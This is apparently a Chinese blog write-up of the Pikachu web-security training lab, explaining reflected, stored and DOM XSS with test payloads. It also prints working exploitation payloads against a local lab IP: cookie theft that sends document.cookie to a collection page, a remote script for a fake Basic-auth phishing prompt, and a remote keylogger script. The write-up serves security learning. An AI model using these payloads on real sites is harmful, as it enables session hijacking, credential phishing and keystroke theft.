pikachu 靶场之XSS(跨站脚本) -上篇
前言
大家好,我是Leon-pi,可以叫我pipi,新人报道,是个菜鸟,由于个人也是在学习过程中,文章写的也不是面面俱到,尽善尽美,请见谅。
XSS也是一种代码注入技术,劫持的是用户的浏览器
一、基础概览
Cross-Site Scripting 简称为 "CSS",为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。
XSS在OWASP TOP10的排名中一直属于前三,是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
XSS漏洞可以用来进行钓鱼攻击、前端js挖矿,用户cookie获取(篡改信息...),网页挂马,DOS攻击(频繁刷新界面),获取客户端信息(用户浏览历史,真实IP,开放端口),传播XSS跨站脚本蠕虫甚至可以结合浏览器自身的漏洞对用户主机进行远程控制等
分类
反射性XSS
存储型XSS
DOM型XSS
危害程度
存储型(永久型) > 反射型 > DOM型
反射型:一次性(非持久)。一般出现在查询类页面等,访问了恶意的链接(短链接构造)。发送给用户让用户点击(邮件钓鱼等形式)
存储型:交互的数据会被存在数据库中,永久性存储。一般出现在留言板,论坛,信息发布,电子商城,注册等页面。
DOM型:不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,一次性,也属于反射型
基础再巩固:
XSS是通过向 存在XSS漏洞的网站上注入了恶意代码,用户浏览并访问了该网站从而引发的一种漏洞。
反射型XSS:简单的将用户输入的数据 "反射" 给浏览器。引诱用户点击一个恶意链接,才能攻击成功,非持久性XSS。
用户恶意输入数据--->服务器--->用户访问--->用户浏览器解析执行
存储型XSS:用户输入数据永久 "存储" 在服务器端,稳定性强,每次访问都会被执行。
用户恶意输入数据--->服务器存储在数据库--->用户访问--->浏览器解析执行
DOM型XSS:纯前端漏洞,服务器端无法防御,前端通过 JS 操作DOM 中节点(遍历,获取,修改对应的节点,对象,值)实现。即可能是反射型,也可能是存储型。这种利用也需要受害者点击链接来触发,DOM型XSS是前端代码中存在了漏洞,而反射型和存储型是后端代码中存在了漏洞。
二、实验认知
反射型 XSS(get)
1 首先随便输入点内容,看回显吧!
2 什么也不输入,直接submit
3 输入kobe ,submit
通过以上现象我们发现,输入的内容,以get方式进行发送的。
4 构造链接(弹窗)
payload
<script>alert("xss")</script>
成功弹窗,存在XSS漏洞
5 总结
反射型 XSS 执行流程:用户输入--->后端服务器响应--->用户浏览器解析执行。利用用户对网站的信赖。
利用:构造恶意JS链接(带有跨站脚本URL伪装)--->诱导受害者点击--->攻击完成,一次性攻击。
场景:一般出现在查询类页面中
存储型 XSS
1 直接上payload
attack<script>alert("attack")</script>
成功弹窗,存在XSS漏洞
2 总结
存储型XSS漏洞和反射型形成原因一样,不同的是存储型XSS下攻击者可以将脚本注入到后台存储起来,构成更加持久的危害。
利用:每当有用户访问该站点就会中招,持久型攻击
场景:一般出现在留言板界面中
DOM型 XSS
1 根据要求点一下
2 看起来是个超链接,再点一下。根据浏览器的反应,应该是个跳转链接
3 输入内容,再点一下,提示404 not found,ok初步判断,跳转链接为我们输入的内容
4 查看网页源码,验证猜想
5 通过分析源代码,确认无疑( 用JS 操作 DOM元素),URL跳转终点就是我们输入的内容
6 构造闭合,实现弹窗,payload如下
#' onclick="alert('attack')">或#' onmouseover="alert('DOM XSS')">或#'><img src="#" onmouseover="alert('attack')">或#'><img src="1.png" onerror="alert('waring')">
7 成功弹窗,存在XSS 漏洞
DOM型 XSS-X
1 老规矩,先点点再说,这里发现。。如下
2 再点击
3 输入内容再来一遍,ok,404 not found
4 查看源代码,虽然写的挺多,经过分析,跟原来没什么区别。
5 构造闭合,payload如下
#' onmouseover="alert('DOM XSS')">
6 成功弹窗,存在XSS 漏洞
DOM XSS 总结
DOM型XSS:纯前端漏洞,是一种特殊的反射型XSS,不与后台服务器产生数据交互,前端通过 JS 操作DOM 元素(遍历,获取,修改对应的节点,对象,值)实现。
类型:即可能是反射型,也可能是存储型。
利用:也需要受害者点击链接来触发
区别:DOM型XSS是前端代码中存在了漏洞,而反射型和存储型是后端代码中存在了漏洞。
三、XSS 漏洞利用
准备工作
XSS 后台初始化,根据提示操作即可
修改后台源代码,如下
反射型XSS(get)获取用户cookie
1 payload 如下
<script>document.location = 'http://192.168.154.135/pikachu/pkxss/xcookie/cookie.php?cookie=' %2B document.cookie;</script>
当前页面拥有的 cookie
2 提交payload,查看后台 cookie收集结果,结果如下
因为之前做过测试,所以id从6开始,正常从1开始
反射型XSS(post)获取用户cookie
1 首先登录账号(admin/123456)
2 随便输入内容,点击提交,发现输入的内容直接拼接到界面中
看到这里你是不是觉得这个不是跟get类型一样嘛,对的,原理是一样的,但是,提交方式是以表单方式提交的,这时就无法将恶意代码嵌入到URL中发给目标。
3 修改伪造表单界面源代码(利用pikachu自带的表单 post.html)
4 payload
http://192.168.154.135/pikachu/pkxss/xcookie/post.html
5 刷新后台,即可查看到结果
6 修改 cookie 值,受害者点击链接,刷新后台
XSS 漏洞利用之 钓鱼
1 鱼饵--basic认证
WWW-Authenticate:Basic
2 修改后台数据接收界面
3 payload
<script src="http://192.168.154.135/pikachu/pkxss/xfish/fish.php"></script>
---填坑---
工具包准备
=频繁弹窗问题=
原因:PHP的HTTP认证机制仅在PHP以Apache模块方式运行时才有效,因此该功能不适用于CGI版本。
解决方案:重新部署环境
PHP集成开发环境启动Apache如下
1 配置Apache
将Apache解压到指定目录,打开Apache24/conf/httpd.conf
文件,找到Define SRVROOT
,将/Apache24
修改为解压目录,如这里解压在E:\Apache24
目录
然后使用管理员权限打开CMD,执行以下命令
httpd.exe -k install -n apache2
进入bin
目录,运行ApacheMonitor.exe
。在托盘处左键点击Apache小图标,选择start
,然后访问127.0.0.1
测试
2 配置PHP
解压PHP压缩包,打开Apache的httpd.conf
文件,在最后面增加配置(写自己的PHP目录)
重启Apache,并Apache安装目录下的htdocs
目录新建一个phpinfo.php
,写入以下内容:
<?php phpinfo(); ?>
最后通过浏览器访问:http://127.0.0.1/phpinfo.php
,可以看到Server API
为Apache 2.0 Handler
4 继续复现钓鱼攻击
先把PHP安装目录下的php.ini-production
文件复制一份并重命名为php.ini
,然后打开
找到extension = mysqli
,将前面;
去掉
找到extension_dir = "ext"
,将前面;
去掉,并修改为PHP路径下的ext
extension_dir = "E:\php-7.4\ext"
将Pikachu
靶场复制到htdocs
目录下,并开启MySQL。这里使用的是phpStudy环境,由于Apache已经另外安装并开启了,因此这里只需要单独启动MySQL即可
5 payload 放到反射型XSS(get)测试
这里没有弹窗问题了,但是后台始终没有获取到数据,经过一番代码调试最终解决了问题
6 修改 fish.php 代码
7 重试,后台成功获取结果
XSS 利用之 获取键盘记录
前置知识
1 跨域
2 同源策略
同源策略是浏览器的一个安全功能,不同源的客户端脚本在没有明确授权的情况下,不能读写对方资源。所有浏览器都约定了"同源策略"
同源策略规定:
两个不同域名之间不能使用JS进行相互操作,
例如 x.com 域名下的JavaScript并不能操作 y.com下的对象
3 不受同源策略限制
页面中的链接,重定向以及表单提交是不会受到同源策略限制的。
跨域资源的引入是可以的。但是js不能读写加载的内容。如嵌入到页面中的<script src="..."></script>,<img>,<link>,<iframe>等。
4 若想跨域操作,则需要管理员进行特殊的配置
比如通过:header("Access-Control-Allow-Origin:x.com")指定
键盘记录获取
1 修改访问界面(rk.js)
2 设置允许跨域访问
3 构造payload
<script src="http://192.168.154.135/pikachu/pkxss/rkeypress/rk.js"></script>
4 键盘击键结果如下
结语:
本人菜弟弟一个,大佬勿喷,谢谢,如果觉得个人写的还凑活,三连(点赞+关注+转发)一哈吧💪谢谢各位师傅,祝各位师傅玩的开心😊。
- 点赞
- 收藏
- 关注作者
评论(0)